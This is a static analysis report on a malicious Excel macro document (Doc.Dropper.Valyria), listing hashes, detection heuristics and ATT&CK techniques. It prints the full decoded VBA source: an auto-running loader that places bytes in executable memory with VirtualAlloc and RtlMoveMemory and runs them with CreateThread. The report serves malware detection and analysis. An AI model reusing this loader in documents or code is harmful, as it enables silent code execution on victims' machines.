Doc.Dropper.Valyria-6680543-0 — Office (OLE) malware analysis

Static analysis result for SHA-256 41c629ccfce62245…

MALICIOUS

Office (OLE)

24.5 KB Created: 2012-01-20 23:44:55 Authoring application: Microsoft Excel First seen: 2018-02-19
MD5: 3c6ccb659adf9aa4c6069e02c0f92c7a SHA-1: 722be410fd9e3c12ba0b19c9bea59eba58810abe SHA-256: 41c629ccfce622456536321699836a545774da5e8d7b43befe8d65ee9d937dda
124 Risk Score

Malware Insights

Doc.Dropper.Valyria-6680543-0 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel document containing VBA macros, specifically triggering Auto_Open, AutoOpen, and Workbook_Open. The macros utilize VirtualAlloc to allocate memory and RtlMoveMemory to copy shellcode into it, followed by CreateThread to execute the shellcode. This pattern is indicative of a dropper designed to download and execute a secondary malicious payload.

Heuristics 6

  • ClamAV: Doc.Dropper.Valyria-6680543-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Valyria-6680543-0
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
Sub AutoOpen()
    Auto_Open
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Sub
Sub Workbook_Open()
    Auto_Open
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
    Dim Wkbiqmw As Long, Hmbo As Variant, Rwvxs As Long, Xinzcm As Long, Abegogwui As Long

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1583 bytes
SHA-256: 94f7aa248fd262641bea8c08f94a3528390948c0b43551111a9abe61ddb2f721
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Declare Function CreateThread Lib "kernel32" (ByVal Npdrhkbff As Long, ByVal Drcunuy As Long, ByVal Ache As Long, Wiquwzp As Long, ByVal Ltdplqkqj As Long, Xsawbea As Long) As Long
Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Aacsuf As Long, ByVal Ioo As Long, ByVal Fpihqsli As Long, ByVal Ximedrqa As Long) As Long
Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Vejyzyxy As Long, ByRef Kalwgz As Any, ByVal Ftnp As Long) As Long

Sub Auto_Open()
    Dim Wkbiqmw As Long, Hmbo As Variant, Rwvxs As Long, Xinzcm As Long, Abegogwui As Long
    Hmbo = Array(232)
    Rwvxs = VirtualAlloc(0, UBound(Hmbo), &H1000, &H40)
    For Abegogwui = LBound(Hmbo) To UBound(Hmbo)
        Wkbiqmw = Hmbo(Abegogwui)
        Xinzcm = RtlMoveMemory(Rwvxs + Abegogwui, Wkbiqmw, 1)
    Next Abegogwui
    Xinzcm = CreateThread(0, 0, Rwvxs, 0, 0, 0)
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub



Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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